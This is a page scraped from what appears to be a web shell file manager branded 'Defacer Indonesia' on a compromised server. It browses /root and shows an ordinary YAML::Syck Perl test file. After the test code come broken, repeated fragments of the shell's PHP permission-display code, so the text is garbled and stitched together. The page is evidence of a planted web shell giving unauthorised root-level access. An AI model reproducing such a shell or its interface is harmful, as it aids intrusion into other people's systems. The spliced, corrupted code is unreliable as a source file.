Asikk-&wkwkwkwkw

whoami7 - Manager

: /root/.cpanm/latest-build/YAML-Syck-1.34/t/

files >> //root/.cpanm/latest-build/YAML-Syck-1.34/t/1-basic.t

 use strict;
use warnings;
use Test::More tests => 11;

use YAML::Syck;

ok( YAML::Syck->VERSION );
is( Dump("Hello, world"),       "--- Hello, world\n" );
is( Load("--- Hello, world\n"), "Hello, world" );

TODO: {
    local $TODO = 'RT 34073 - Parsing YAML without separator';
    my $out = eval { Load("--\n") };
    isnt( $@, '', "Bad data dies on Load" );
    is( $out, undef, "Bad data fails load" );
}

TODO: {
    my $out = eval { Load("") };
    is( $out, undef, "Bad data fails load" );

    local $TODO = 'Load fails on empty string';
    isnt( $@, '', "Bad data dies on Load" );
}

TODO: {
    my $out = eval { Load("feefifofum\n\n\ndkjdkdk") };

    local $TODO = 'Load fails on empty string';
    isnt( $@, '', "Bad data dies on Load" );
    is( $out, undef, "Bad data fails load" );
}

TODO: {
    my $out = eval { Load("---\n- ! >-\n") };

    local $TODO = 'RT 23850 - META.yml of DMAKI/DateTime-Format-Japanese-0.01.tar.gz cannot be parsed';
    is( $@, '', "Bad data dies on Load" );
    is_deeply( $out, [''], "Bad data fails load" );
}

Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>